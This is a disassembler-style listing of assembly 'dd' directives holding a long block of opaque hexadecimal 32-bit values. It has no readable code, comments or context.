		dd 1640E3F0h, 9A43482Fh, 447EB51Fh, 0ACEF8737h,	8F9074F7h
		dd 18018A00h, 0E9FB2162h, 75B0AA5Fh, 0DB9E9F94h, 75E50A8h
		dd 5A049DB7h, 0A32E2868h, 90FB1391h, 0A64E30FFh, 175E6251h
		dd 9501C484h, 345B542Dh, 6ECDCA80h, 7BE9A474h, 2EC20955h
		dd 0E06E3AA5h, 0B96BBAA8h, 59705650h, 0D5509646h, 550B0109h
		dd 16CB9440h, 6326918h,	2847D062h, 0D9361FEh, 7362665Dh
		dd 3174CD0Ch, 9DB06B21h, 0EEFC4A8Ch, 23DA8321h,	0B015653Dh
		dd 0AD13D6F9h, 13BF5649h, 520E42Ah, 0EAC7EEA0h,	178B3D3Fh
		dd 77EFE71Ch, 0AB9B2CAh, 614384F6h, 0ACE0D19Dh,	71C44762h
		dd 1FC9BA9Eh, 0F93C7CE1h, 68C5FE04h, 25FBB963h,	2F4F1AAh
		dd 1BD8642Ah, 13E71C1h,	16DC53ACh, 0E09D9EB1h, 757C45BFh
		dd 7420A598h, 0D668187Ah, 0CFBE593Ah, 0F38C495h, 55F258Fh
		dd 0D1A3788Bh, 3DBBD22Ch, 0F200BD9Eh, 0A3E53EDEh, 0B25AD089h
		dd 0C3B0D49h, 7B0E444Ah, 325176F0h, 7262D91Ch, 4A2F347Eh
		dd 846BC3BFh, 55F9F3E1h, 8FD4F409h, 5AB4F69Dh, 6804BEFCh
		dd 31EB6ED4h, 2A456249h, 5C1EAF30h, 90714C39h, 97CDB92Ah
		dd 89C03642h, 1900CAFh,	4DC7ACA0h, 3723611Ah, 0A4AD7D0Ch
		dd 0B0D53E0Ch, 431320FCh, 0EFE54BD4h, 10D61280h, 93A0F889h
		dd 9B1C0AA7h, 0A4FB351Eh, 0C00F95AEh, 0E637A701h, 0EB53B115h
		dd 0B93744FFh, 0D271ED86h, 0EF4A21CFh, 90D0D904h, 2027E3ADh
		dd 45AA938h, 0F028EE0Eh, 0B09E9D2Ch, 0E125B566h, 8B6B5E5Bh
		dd 0B1784CC6h, 0A66269E9h, 620FCF05h, 0F79B03C5h, 2AF2159Bh
		dd 99C8C80h, 0CC17B42h,	54A57E49h, 308B30B8h, 52001D0Ch
		dd 15D5E68Ah, 5D0150B7h, 4EF99Fh, 36BEE585h, 68766C17h
		dd 0E9E44CEBh, 1827AC27h, 4A19F531h, 0F1930A66h, 7C31E06h
		dd 0C1497113h, 0D81851EBh, 0FB68294Bh, 1C34081Ch, 0F95F140Bh
		dd 4F85497Fh, 0C829CCC2h
		dd 6CEBF892h, 559469ABh, 6AA79BE5h, 54C44232h, 0D0E84Fh
		dd 256CAC0Ah, 0E912CA31h, 6AD06D82h, 5ADE4DA9h,	0C9960121h
		dd 0E1D72232h, 83E1E149h, 77396D22h, 59CED016h,	0D0CAA24Eh
		dd 0EA7E9F79h, 828E3E58h, 0D47E6257h, 0E3C46F11h, 0EB7BAF0h
		dd 113C337Ch, 79B14D22h, 81942F73h, 3D6C40B0h, 0A5E10345h
		dd 0FEA29BE9h, 0DD662840h, 0C7EFCC91h, 0FF0B94CBh, 0E9059E4Fh
		dd 5EE94794h, 232F9F1Bh, 85AC5C02h, 0D1CB89BCh,	0F444AF21h
		dd 0FD8F2D2Fh, 519D8714h, 8480C9CEh, 7BEB7C87h,	4515097h
		dd 4B3F27F7h, 5058F10Fh, 4DEB6EF8h, 48F66827h, 0CF5D3DDDh
		dd 0C84BF0Ah, 9A09EA8Ch, 7069555Ah, 0D2136B35h,	57599A61h
		dd 0C0D96EF4h, 2068C3D3h, 990118Ah, 3370C00Bh, 0DA8B5726h
		dd 360566DCh, 8F0119EBh, 64D34FC8h, 5080D83Eh, 0EFCB2326h
		dd 16466A08h, 8000175Bh, 1E44B8B2h, 0D16F8025h,	86F540EAh
		dd 0C25E3EABh, 52EF41EFh, 7E8EC6E9h, 6EE0338Ch,	2181AFCFh
		dd 2B53D66Ch, 0EBE441AFh, 6E765471h, 50F4E0h, 0BD073508h
		dd 58A2214h, 0AA8B015Eh, 4A79E24Fh, 8AC07288h, 0AE689510h
		dd 0BCF60F4Ah, 7298E909h, 8103E56Eh, 0B2077DC5h, 52D1E44Bh
		dd 680090A1h, 9995724Ch, 0DAD4F365h, 0A7CC2AE9h, 0D8E9812Fh
		dd 304B5939h, 66D0315Fh, 6D84EF5Eh, 283A90BEh, 212AE710h
		dd 7625938Bh, 84685DA9h, 180C443h, 58D1CCC3h, 5382A424h
		dd 88D4328Dh, 36F25904h, 0B2F2C99Fh, 2F617468h,	0BB5A4A01h
		dd 6C12A2EBh, 0B54B6831h, 0E005325h, 7D7301DDh,	720DFBEh
		dd 38A711A1h, 34AA5A03h, 4932A057h, 55AC6A09h, 8EE2829h
		dd 55048713h, 0FE5D659Bh, 73317938h, 3AF5DF7h, 0FC34B242h
		dd 14DD2F77h, 0C5FAFE3Bh, 0FBE2C173h, 0FBD49CB1h, 974DEE73h
		dd 0BC7FA009h, 0D7E91339h, 542D9C35h, 3CAE5D5Eh, 550056A8h
		dd 0C206A1BDh, 1415BE7Ch, 0F3DB62FEh, 0E980A44Eh, 8DD9732Ah
		dd 0B620E677h, 70FBB717h, 78B9588h, 0A6B353h, 0DE045BD8h
		dd 810FC9FBh, 166EEAFh,	628356F3h, 3BA75BD9h, 4EAE1804h
		dd 4ABE38Eh, 8BDF0132h,	0EAA84A92h, 0F496F84Ah,	5008A4AAh
		dd 805A8BC9h, 0D53A2F22h, 0C48A9F79h, 0D553454Fh, 0EB1BEFDh
		dd 0EE8B436Fh, 0FF88EF01h, 1B8F229h, 7A12D8E6h,	4C0836D6h
		dd 62BD0176h, 7F5C0D09h, 48933283h, 2210CF73h, 5EFE5E5Fh
		dd 651D8C3Ah, 5939EC15h, 28018F80h, 582AABE2h, 2CFF8042h
		dd 0BE5F0EDFh, 1F572D6Eh, 6BB81A7h, 0CFE9408Ah,	4B0F2BCEh
		dd 494A327Dh, 3C45139h,	7F5E5651h, 260B209h, 0CA7A0127h
		dd 0E7315B4Dh, 0C1941C40h, 0E9C03D61h, 0E95BEA49h, 1734C86Eh
		dd 5A15A802h, 1D25713Dh, 47777681h, 804A3FFFh, 947D596Ch
		dd 9E99E94Bh, 43892D3Bh, 595DA292h, 335E2515h, 0A56F2188h
		dd 5FC694F7h, 0C944FF5Ch, 66008A64h, 513C1CBFh,	523CB9EAh
		dd 0C516CF1Fh, 97331D98h, 4C8BF85Ch, 0C7F82896h, 0BD0E1910h
		dd 253F9F99h, 24EA2F63h, 6EC7816Bh, 0AFE268EBh,	0E4D15354h
		dd 0C102C562h, 46126887h, 881A572h, 87F425Fh, 33A6658Ah
		dd 0AA2588Eh, 24A15AFAh, 0D63628A5h, 78ECA365h,	0EA476817h
		dd 1AE2E9CCh, 743F9627h, 0E105D346h, 2670418Dh,	3C1F60A0h
		dd 26E04D7Fh, 27A5D568h, 0D29AFBEAh, 0D6D919C3h, 0C9BBF5B6h
		dd 500AE952h, 4BEF81A2h, 37286D13h, 93F61AFh, 0C523818Eh
		dd 0CA01A57Ch, 298E26Eh, 539D12F8h, 3B96DF59h, 0A7C6A02Dh
		dd 0EC8259A0h, 0FD5F2B1h, 5167188Eh, 34A4664h, 73EA0958h
		dd 9FD11358h, 0B0DC09FBh, 517701C2h, 0E96C4CAEh, 0CA05B825h
		dd 44D9F7E6h, 0FF028BADh, 0F4089FC5h, 0C30906D2h, 1F12CA58h
		dd 0AA1E3745h, 0E6852041h, 0F43A89A2h, 0FA173E89h, 8F00B050h
		dd 6BAB353Fh, 9CCF5101h, 8FBB0805h, 11CA4AD6h, 118EE90Dh
		dd 0B50B3FA3h, 0D57703F9h, 0D16C9344h, 208F7FC9h, 0D744FC2Dh
		dd 0A684AB1Ah, 0CBE90703h, 0E2230207h, 313AA7EFh, 321A668Bh
		dd 0B50B8F0Ch, 12A48853h, 0B4CDFD01h, 540D1933h, 405D7EE9h
		dd 761A0C34h, 65F83276h, 7C336149h, 0D73D2874h,	890B933Bh
		dd 958650EDh, 64BFDF5Bh, 69D20A4h, 677ABF04h, 95BB179Fh
		dd 42F1FFA3h, 8402E36Ah, 0CF7CDACh, 2B4FF15Bh, 17B672E8h
		dd 831D2987h, 0C0145FA7h, 849C5C4Fh, 5A127A94h,	0AC138D01h
		dd 0B5096C2Ah, 0C6ECF78Bh, 40B0B4B9h, 1EF28C8h,	9ABE5638h
		dd 3A23AD24h, 4D4A30A0h, 0DD0CFF73h, 0E7E62D39h, 0EFADCB4Ah
		dd 0AB5A3C85h, 4C2E23DCh, 6489799Ah, 6B2FA671h,	1E8998C4h
		dd 0AC284BA9h, 4ACF9693h, 6852560Eh, 0C2AE5844h, 875CE88Eh
		dd 0D387B3Bh, 38EE4E32h, 0C05BE918h, 0F8EEF941h, 7FFA7703h
		dd 0FE69F5D9h, 7CE95897h, 624FFD5Fh, 234BE746h,	5FA385B2h
		dd 10B7A5D2h, 8FA022Eh,	0F201BFDEh, 3CA0B31Ch, 0C25E5D56h
		dd 78F9C6A9h, 97EC3449h, 92885256h, 0CF880BA6h,	3E8F657Fh
		dd 0C622F83Fh, 4A37E918h, 1E69C3F9h, 0CC565578h, 3B99C82h
		dd 68535B05h, 79F86214h, 50554C4h, 10F8D2E9h, 0F9505E16h
		dd 165889B7h, 6BE92C57h, 6A5F9866h, 7197CE5Ch, 1FC5815Ch
		dd 0F97E6F2Dh, 10162FCFh, 253F7CB6h, 8F94B24Bh,	27CCA9CBh
		dd 3CD1BF20h, 812B078Bh, 7F2D7783h, 0D0869734h,	52584CE1h
		dd 0CB2F5404h, 7C7DC029h, 160FA1Ch, 516FC70Ch, 94E91306h
		dd 0EA39BF3Bh, 18195E60h, 34E38256h, 0D2092AD9h, 88D70123h
		dd 7F2508ADh, 6E974314h, 0EB6815A3h, 6E259367h,	0EFC01981h
		dd 8AB2E305h, 9B2D15Dh,	0BC7EC152h, 5E7CE62h, 16B4BC5Bh
		dd 85ECEE3Dh, 9CEA4ADEh, 0AF5EAFB5h, 35F5AA02h,	0E1802443h
		dd 4A7DF219h, 3E09802Fh, 975C5F33h, 88262F2h, 5AA1949h
		dd 0CB2513F8h, 0F696357Ch, 3793F207h, 0FC4F27B2h, 0CA084BFh
		dd 0F74BC038h, 890E058Dh, 0ECCF870Bh, 2BE908D1h, 8BD4BB66h
		dd 0EB9416A7h, 0A632A7B7h, 5A769EFBh, 390EFA5Ch, 0F197B8A4h
		dd 0F4131373h, 0FD5FB25h, 28989ABBh, 265AA221h,	0C64ADF0Eh
		dd 24B907Ah, 0FC333FC2h, 60F731B0h, 96FB56E5h, 14539637h
		dd 0C280AA1Fh, 129D1BAAh, 0C94B29F6h, 0FC786CF2h, 0C127CB3Ah
		dd 93A62A56h, 0C8FFD113h, 1516B556h, 0CBFF2C35h, 0D5F2D7ABh
		dd 3E840D01h, 51BC61E9h, 30D387ACh, 65DAE576h, 0A59C62C0h
		dd 0E95F38C6h, 64552E3Bh, 3287BC08h, 0D5E48D1Eh, 25EAEF05h
		dd 0E601386Ch, 804DCDC2h, 0B75FF960h, 0B6ADFFB0h, 727F20A0h
		dd 0CF597995h, 62773EC4h, 0BE83A03Bh, 7AF57262h, 0FD34A03h
		dd 0CDDD2941h, 8C324291h, 1AB343A6h, 5A5D2752h,	6817905Dh
		dd 0DA704E7Fh, 2DAA4E99h, 0A202FEF4h, 71BA5F35h, 150A476h
		dd 725997CEh, 74C7DF9Fh, 4351B936h, 5C61FEFBh, 0B94721C4h
		dd 3BCBCE0h, 410E28DFh,	0C58075C0h, 65EDC083h, 0F0070608h
		dd 12F16D0Fh, 770B7F54h, 0B7061F94h, 86E3E909h,	295E2720h
		dd 6817EAF2h, 0ABA93D62h, 37BA52A0h, 32E74013h,	4A260FA8h
		dd 36FB0D70h, 5E86B16h,	0D463A4CDh, 0DAEB83F1h,	0C3517BFDh
		dd 28058792h, 0FE093FBAh, 5DB78409h, 969D5F3h, 0E4AB5555h
		dd 4AFBEB55h, 4514B916h, 83AD600Bh, 0E2507CBFh,	31DE9A51h
		dd 2A222ECh, 0E93A9131h, 5A0BC3F5h, 7F410F92h, 62AE4DD0h
		dd 7706BDF7h, 27CBCD59h, 3EB8775Ch, 0B9ABFC7Ch,	12074206h
		dd 0B745715h, 25C11C74h, 3AAFD00h, 70BD533Eh, 8EE51A2h
		dd 0A5488B4Bh, 750A2F06h
		dd 0BE783A1Eh, 5AB49F27h, 8F979E1Dh, 0C0B558E9h, 6402C716h
		dd 83F4AB29h, 48DA61Fh,	3925383Eh, 6857A129h, 6EB6B1F3h
		dd 34D3A806h, 0E15053ABh, 0F21B21A5h, 2816C380h, 619D27E3h
		dd 0F107FF55h, 3A4E7068h, 71532C98h, 522800BBh,	1ABD550Dh
		dd 705CE06Bh, 260804F2h, 86EF06C3h, 660F703Fh, 0E04E6578h
		dd 905189CFh, 4F472463h, 5D9402D9h, 0EFC1132Ah,	5BDDCC5Fh
		dd 4B329EB5h, 0F7F8C5Ch, 68C8BF06h, 2FE93841h, 0B05919EFh
		dd 8C17ACC8h, 1A854037h, 501CE4F8h, 2D68895Bh, 0F3BF2358h
		dd 0E0E9E104h, 0C393388Ah, 12402568h, 0ABC62F1Dh, 8F40A2E3h
		dd 2C03096Ah, 905A510Ah, 6CA140E7h, 2031AC44h, 0CD01F629h
		dd 0B059A71h, 940979B8h, 0D02A231h, 82DAB893h, 0A8388938h
		dd 7E0BDB0Dh, 75576D2Bh, 26913760h, 413C6527h, 0B72C1C2Fh
		dd 28B0B20Ch, 0C89DC112h, 3C53802Ah, 4CDC3464h,	0DDE78102h
		dd 0BF7EF358h, 0FFAC6E09h, 5C9D4414h, 9477E575h, 49DFAE7Eh
		dd 2B27680Ah, 17DC8B94h, 0CE20325Ah, 34557C29h,	80D159Ah
		dd 40B549C9h, 1B845CA3h, 0CB590EB0h, 0F47BAB97h, 9F572FF9h
		dd 0CB7E25A5h, 0FFBBE9C1h, 3E05DD2Ah, 0B3E4789h, 0ECA56DADh
		dd 0EECFBE5Dh, 1277C719h, 2DD5401Ah, 80A13954h,	5E6184A5h
		dd 0AC81CE81h, 9E400168h, 4AE60A42h, 41C5AB02h,	1FDC5E81h
		dd 0FDB19203h, 10C57D2Eh, 44A091Eh, 1BF21BFh, 0B652A1B7h
		dd 0EC6EF20h, 8005EEC0h, 5C85AFABh, 0D139AB3Dh,	0A42869F9h
		dd 0F425C05Ch, 56056383h, 250BE180h, 3579214h, 0E75F04CDh
		dd 15C6EFB0h, 317A5F7Ah, 4C27451h, 4FFBA3FFh, 5A54E128h
		dd 0E479F95Bh, 9B8E1C8h, 3606091Fh, 80087304h, 0A967CB8Dh
		dd 0D1F72E12h, 46BEA700h, 81729Dh, 0A8793BF3h, 59BAE971h
		dd 17828A96h, 57A71BECh, 1BA6BDC3h, 978116BDh, 4C970372h
		dd 821282C6h, 0FF602E37h, 75958D1Ch, 57504420h,	0E9165F58h
		dd 31AF9173h, 21DC88E4h, 207665CEh, 4218B19Bh, 0D55C2BC5h
		dd 2AA983CFh, 7AE83B80h, 0B9209794h, 60CD8181h,	0BEF67799h
		dd 3527E24Ah, 719CCB87h, 0BF5BFEC2h, 0FE80EF0Eh, 28E22CC0h
		dd 89A0C34Ah, 0D6043887h, 8B58D83Eh, 0AD334526h, 0AD292F72h
		dd 0D1082DDEh, 68570538h, 178CED9Bh, 0DECCBB86h, 39735925h
		dd 0E505F016h, 0EB774746h, 0C48913D7h, 0A87BC4A1h, 0DBDCF116h
		dd 0B704B83Ah, 52EBABE3h, 0F301001Ch, 31293B60h, 8BFD6FD9h
		dd 0B9D15C27h, 0FC95AB62h, 0BB004946h, 42DA723Bh, 2283C6A0h
		dd 75C89225h, 0F505A1C4h, 46881C14h, 55B081EFh,	3E043F1Bh
		dd 38FFFB7Bh, 564843C1h, 0B56A20D9h, 6F48FA68h,	5D60B77Eh
		dd 8D1F280Eh, 4DE9247Ah, 515681EDh, 0F94A1868h,	0D670F039h
		dd 1589AB9Eh, 9CECD7C2h, 5831DEB7h, 0F6957F0Dh,	2870D992h
		dd 9CB007E2h, 79D7D0F6h, 201BAFB7h, 7397010Fh, 93849D93h
		dd 0B6D0EF89h, 4E78E62Bh, 1A8C4AAh, 0BC3E75E9h,	62B53A44h
		dd 0A6240805h, 0E9C274F3h, 94F4E37Dh, 31F900A7h, 9729575Eh
		dd 0D30BD170h, 0F5D6A8A1h, 82F593E2h, 77E7C4B7h, 4F884CDBh
		dd 52A840C9h, 93900638h, 2A65C109h, 0B5AFDF1Dh,	8507B0F4h
		dd 997DD502h, 0C2492004h, 0FF5192E7h, 0FE5D2E3Eh, 9E6A8405h
		dd 56EA8F80h, 3ED23039h, 0E0B499Ah, 55E9B016h, 0CE5BB782h
		dd 0D1FD4C3Ch, 18FFD727h, 0CA4CDB14h, 0AB0920h,	937DF781h
		dd 214F377Eh, 8E2A49AFh, 33AB502Eh, 695CDEE2h, 2D2CD352h
		dd 680C31F7h, 0E05FEB0Ch, 0FE9762FAh, 0CC2FE1FCh, 6E5E5DD2h
		dd 36F19141h, 0CED9307Eh, 6305E818h, 56130B9h, 62E9E90Eh
		dd 817DD967h, 81668CEh,	4B05343Ah, 3A16F90Fh, 410EA295h
		dd 6B0014Eh, 0B8B07B88h, 0B57E4E07h, 4F5B6043h,	21BBA84Bh
		dd 18285EBh, 8FCD801h, 9928BA96h, 9E350CE0h, 9194BB12h
		dd 832BF5ADh, 682B774h,	8965E649h, 0D4F9FA08h, 0F839502Bh
		dd 0A7A4BC4Ah, 0C3E031C4h, 5A9800BFh, 0CF8175F6h, 0D0041545h
		dd 177CE90Ch, 9648E9F2h, 8A4EAB39h, 44EF5A50h, 9366E9B3h
		dd 4E25CBDh, 70B0CAEh, 0C3149245h, 113035ECh, 0DC594BBCh
		dd 0EE8F9C12h, 0B5EFEFC8h, 0D45109FCh, 0C118C73Ch, 33E5EAE7h
		dd 17C6989Dh, 6B182750h, 0CB7D287Dh, 0A969AE0Bh, 10D25FD0h
		dd 216942F6h, 0CFBFC97h, 0E24D0C98h, 26315395h,	0E11F2847h
		dd 173CAE2Eh, 6204EE9h,	0EFE87C4h, 0F1E9C29Dh, 295CD060h
		dd 2156CEB5h, 0BF813C50h, 6605230Bh, 16F6D270h,	0C1D00408h
		dd 0A7A31031h, 0E4E48571h, 5ACBD7F8h, 8BEDC57Dh, 55167C55h
		dd 40293440h, 0D0A0588Ah, 5E8085A2h, 0A83BF35Fh, 30E9A876h
		dd 0C2EDB6A4h, 0D758471Fh, 0C63B153Dh, 255086F5h, 489E9026h
		dd 7B0E766Ch, 0E5362F5Bh, 4944F162h, 415010Ch, 3947F452h
		dd 2A0223DEh, 70281F70h, 0BF62A12Ch, 0B0080A4Ch, 1F445208h
		dd 22DA680Bh, 0E9D1CE74h, 0F9BAC944h, 0BB57A42Dh, 3F0C0216h
		dd 651D31Bh, 0ED805DB5h, 0F234FCB4h, 45EA3D7Fh,	88B110D0h
		dd 7B4E8E94h, 0C5E427BEh, 39AAA677h, 0B03BAFE9h, 0BB081B6Ah
		dd 0F1CB3C63h, 0AED2053Ch, 61B21CE2h, 0C381387Eh, 6E4A41A7h
		dd 418DF83Ah, 0AD814308h, 760B2776h, 0F5779E0Ah, 0E2840F9Ah
		dd 45EE1692h, 0B4C596B9h, 0B13951D0h, 148698E3h, 974266A6h
		dd 8C5FE048h, 2E69F382h, 96572FB2h, 0DE63A280h,	0A568D086h
		dd 23B2335Bh, 0EFED2593h, 0D74863DFh, 0F47AC685h, 474A1ADFh
		dd 0B41687A3h, 0DFB37Fh, 3EEC48B7h, 4A91E945h, 5E21E779h
		dd 0EF2C57EEh, 62AE9B75h, 81E8D7DBh, 0AD163F05h, 12BBDF8Fh
		dd 6E41FF82h, 9F01840h,	7D93492Fh, 4C7538C2h, 0C22DBEBDh
		dd 0F8D4FAA7h, 5211ADBBh, 41CA82C1h, 0C8C01D61h, 0EF2AE92Ch
		dd 0B92A463Dh, 0E95CC135h, 0B36B68BDh, 7D98C5EFh, 13DAD7B4h
		dd 0BFC38E03h, 23128F16h, 87872CAEh, 88AEEF4Ah,	552457BEh
		dd 0FA0B115Fh, 6AB66861h, 90FEB7C5h, 57FE63C2h,	5452B4F1h
		dd 0A7056B2Eh, 9991444Dh, 814E00A7h, 3E5D57CEh,	11633A1h
		dd 88A55DCCh, 592713A9h, 0DFDC07CAh, 31C6FFDDh,	28291CAEh
		dd 50406DDEh, 0B5CB48E9h, 1A470DD4h, 7F251CBEh,	68274A96h
		dd 0DD98D780h, 7EE12B79h, 0C550D6E3h, 0CAA91646h, 9AEAB83Eh
		dd 0C935F24Ah, 0A2D8BFB8h, 80EAD01Ch, 0C3CFDA9Ch, 0E10AAB79h
		dd 0F27B8860h, 0E95BC267h, 34E5586Dh, 0AA77554Dh, 57EFF480h
		dd 0FB0C7CFAh, 0CBB3B440h, 0ADBE5987h, 7DB12310h, 1BDDF207h
		dd 0CFB44914h, 5A66A2D1h, 0AB38FB2Bh, 2C7425E9h, 0C6CFBF79h
		dd 0B42C30Bh, 0B951C229h, 0D1F3A9D7h, 7911A853h, 0C799D6Fh
		dd 0E6792889h, 686A9F85h, 0F693CF40h, 0C5FEDD02h, 54D0A1E9h
		dd 48686259h, 6B8981FCh, 8D5890ACh, 0DD8082BCh,	1D617318h
		dd 2C85895h, 0E94303E3h, 0D15FE8FCh, 0E190979Ah, 0B4306C01h
		dd 38237280h, 0E4715F1Eh, 9F3C196Ah, 6072DCD7h,	35485885h
		dd 0AC0112E2h, 0FC43130Fh, 0F11CB1C6h, 79326800h, 518E5199h
		dd 0DED7A957h, 0CD2D3D44h, 9FA1965Dh, 2A05F900h, 763DB768h
		dd 875E9256h, 7907BF21h, 0B79252Fh, 63DCAA25h, 5055EB1Dh
		dd 41E908EAh, 5868048Dh, 0C0BEE805h, 32A12F49h,	20BA3F52h
		dd 21676D00h, 0C147E9D1h, 0F592CCBFh, 882AA5F5h, 8B955374h
		dd 45C75DF5h, 0F59A5289h, 5DEE35B8h, 0DE28E9BBh, 0DC72D20Ch
		dd 3EB0C4Dh, 0E91FD759h, 0B7121AB4h, 3E352ADBh,	0E8180CA9h
		dd 1869215Ah, 0CB08BBB3h
		dd 42F02FECh, 66CCED4h,	0A0408C25h, 2CC902B0h, 0CE013876h
		dd 271C4FFh, 47DCBE56h,	64D7604Bh, 0F2594EE0h, 0C26880B2h
		dd 5F370662h, 0E42BE55Ah, 792470D0h, 4F018827h,	9469415h
		dd 3D1C9C05h, 52E404E9h, 0CB6162C4h, 0F5091363h, 60AC0D49h
		dd 21F3B50Eh, 0B911707Ch, 10698209h, 0AB35A80Ah, 191EAA20h
		dd 4080AC71h, 522FA735h, 0D2DBA11Ah, 711D417Ah,	6B15415Dh
		dd 0D868CAC0h, 646A946Ch, 0AC8CFA01h, 0C6F60281h, 217AD077h
		dd 0D6268D67h, 0D2F7FF00h, 9333C768h, 0F3B4022Eh, 87DCCF9Fh
		dd 28A35308h, 61FB251Dh, 0E8FDED66h, 77929D12h,	1B338E09h
		dd 0D2CC601Fh, 79828A5Ah, 14594642h, 0EA610513h, 0F7027DF4h
		dd 0BDD38109h, 0B13F4BA3h, 3F37A6Fh, 574805C0h,	5F02C568h
		dd 50E9FA99h, 5659D5D3h, 0A2442997h, 0BA0089C9h, 52E04815h
		dd 85E8094Fh, 4D6ECF00h, 0E9556DE5h, 718ADE25h,	650602C5h
		dd 0DF72EB3h, 0BD010646h, 8C3E5AEFh, 232E77DAh,	0E0505433h
		dd 81559975h, 84C899B8h, 44FE2BDEh, 0B135E90Dh,	429DFDE2h
		dd 0DF426389h, 0F231FA23h, 2A1972B9h, 597D2A9Dh, 0EA5EF385h
		dd 7868142Ch, 8866B710h, 42280BF2h, 6A20DA62h, 81B02748h
		dd 0F19D80D5h, 0EAE72C5Ah, 44D9A1C8h, 0EAD5D37Bh, 0DE056180h
		dd 0FCD70125h, 0AE064516h, 79C81E45h, 60BC3653h, 29519204h
		dd 9234AB7Eh, 217DED02h, 631460A6h, 6941C4BFh, 0E0B3CD52h
		dd 0B2027207h, 0E5C15D13h, 88167708h, 3AC8C54Fh, 5FDF10EDh
		dd 64C95A51h, 73948683h, 0E2E07A80h, 9936216Eh,	0E5E29353h
		dd 47238188h, 0A4597B3Dh, 0AE95B8Fh, 0F080E84Eh, 9F33D9E9h
		dd 25532CD9h, 4046BD64h, 107C6F34h, 5ABAFCAFh, 210B2DBEh
		dd 0E5BC3BE7h, 0DF0BC1CBh, 571DF7F6h, 1F25AB88h, 52908235h
		dd 68C7296Eh, 5544EB24h, 13344DD5h, 43136C88h, 21BB4F02h
		dd 74E730h, 0E5F5B57h, 0FB31D7F7h, 6E08DF4Dh, 0E5608EC0h
		dd 8574952Eh, 955BE9D0h, 1C7CB209h, 0A2F9F750h,	0AF1D5CF9h
		dd 0B6921814h, 0CD91E82Ah, 622EDE77h, 0FA9CBB64h, 665AD180h
		dd 0BDBFB25Bh, 0F205B8F0h, 0C705E967h, 9EF930ABh, 647D3343h
		dd 0F7A4E227h, 0AB9D4E9Eh, 0BF0732Eh, 807742ABh, 5EEDE945h
		dd 14634C6Dh, 97757E1Eh, 683B022Ch, 106C7BA1h, 3A2C0174h
		dd 4B002E62h, 0E9086C33h, 665495C2h, 0E19B4850h, 50B55311h
		dd 11685124h, 26A85212h, 6A045A80h, 206F98ADh, 0B900E5F7h
		dd 1E675411h, 26508FBAh, 30E2434Dh, 668AC230h, 0E86ABF24h
		dd 45CD900h, 4DCEE915h,	7B028DFCh, 522C833Fh, 28ADCFE1h
		dd 3CFF4FDAh, 0AA6716FBh, 0A373D9A1h, 0C3D1024Dh, 14AB1AF8h
		dd 5528D9FCh, 4EED1732h, 62F1D45Dh, 7509A149h, 9A3D1551h
		dd 78590A74h, 0F5554F29h, 0B2B53FC7h, 247ED7Eh,	385146BDh
		dd 90B6584Ah, 99C6306Eh, 65B5C1BBh, 168C20Ah, 8209AD9h
		dd 0DF245B76h, 9492FFC4h, 0B6C0D2FCh, 3E6C0DBh,	0F60CD073h
		dd 8C6FEDEh, 0FCB32E53h, 97A51FD2h, 4EDC07E3h, 0E2A08BC0h
		dd 52D3F6FFh, 0AD84B228h, 5B567F60h, 7959C831h,	1C512435h
		dd 0EABD084Ch, 0EA015C12h, 19A36806h, 14AA133h,	39792D40h
		dd 41443622h, 87F031F8h, 0D6F7962Ch, 2CEB4834h,	7105A1B3h
		dd 56E91BA4h, 723129E0h, 8C760F8h, 0CA066805h, 0C4254702h
		dd 0DF361C3Fh, 0D24092C2h, 0D3072430h, 0F6E58129h, 0C1475F62h
		dd 0BE01018Fh, 2D1DD4A4h, 514E80C5h, 0C35BBC0Ch, 79FE09BAh
		dd 9FFE48EDh, 0FEBF2E09h, 57D545A6h, 0C40610BBh, 8930AB2Eh
		dd 44DDCB31h, 17FB4B11h, 31CBE80h, 681CA228h, 572D769Dh
		dd 0B205F81Eh, 10B56840h, 5D51A732h, 5C6B0BDCh,	30F1ADDCh
		dd 0ADEEE9E1h, 75ADDE54h, 0D9074125h, 1F5F500Dh, 0E10B0551h
		dd 0D7E86F13h, 0BEC5CA60h, 49DC3A13h, 0D01EC12h, 45374DC7h
		dd 2F4E7F8h, 0E9617C78h, 0F2C4DF80h, 0D187A181h, 1E0DA81h
		dd 0CBB8495Ah, 9DC83EC1h, 0A83B9973h, 78EB032Ch, 50B3275h
		dd 2B301B0Ch, 0BBAC140Ah, 9F550840h, 0BB8F5DD6h, 4B834193h
		dd 0BA497BFh, 15B09DEh,	0C1E85155h, 3512DDE9h, 0F5B97E43h
		dd 0A47BF140h, 5FFE36B5h, 0C399A6BAh, 2F6CD82Dh, 4D5BE0FCh
		dd 0A5344708h, 0F39F02FFh, 8E2D00FAh, 37AFB21h,	0F9ACCC4Bh
		dd 0F013B991h, 0DE3AE9F2h, 209745CBh, 468CB6Ah,	2CC69F62h
		dd 95A3D24Fh, 354ABB03h, 0EF63E6h, 5E69A07Ah, 0FD8220B0h
		dd 9F09B45Dh, 0E9242CC6h, 54899F5Eh, 6ABCFF5Bh,	0D195689Ah
		dd 85E84949h, 2980AD5Ch, 8859B544h, 0A467F82h, 0DD08892Ch
		dd 0C66A2CA9h, 0CBFE9A02h, 0B54838D2h, 0F3407723h, 0C6F6B75Eh
		dd 0B5D1DF5Ah, 2CCF6088h, 38A80390h, 0BBD96F48h, 5F283E0Eh
		dd 20C55EC0h, 29223583h, 0FF2FB027h, 0B16840A7h, 0BE67811Ch
		dd 8CD89A79h, 828ED4DDh, 30F30EA0h, 86B287Dh, 37685302h
		dd 1798F532h, 3905630Bh, 0D78EE951h, 0A1C10A96h, 276F343Bh
		dd 0C40F8248h, 930735Fh, 0C48473B3h, 48CFC007h,	0A4B7FE9h
		dd 0B36CEA8Dh, 0DB67E9F0h, 0D66D5C4h, 0AA87E2B4h, 0C9D5208Ch
		dd 9D46796Eh, 0DA90E9FAh, 0C3975265h, 31F489EAh, 26AC0103h
		dd 5D9E29F5h, 37AA5A47h, 875DC446h, 0BF6114D5h,	65B56D77h
		dd 5BB6D5D1h, 897ED29Eh, 4BDD7CAFh, 7A6BC147h, 8D8E6Bh
		dd 6C9FDCB9h, 0BECA29BAh, 512D585Ah, 3D662C05h,	2DAFD001h
		dd 0E9100145h, 4CC47ACDh, 0B19FF3AFh, 0CA3EC329h, 13B85E88h
		dd 401A2F7Ah, 0B38CB8D8h, 254AC13Fh, 71861470h,	0CE1E5468h
		dd 578EA8CFh, 79B80050h, 0BF41CE65h, 0B22558ABh, 4966F63Bh
		dd 9B82F77h, 0B863DCBBh, 8AF68027h, 0D5E4172h, 0AEF29181h
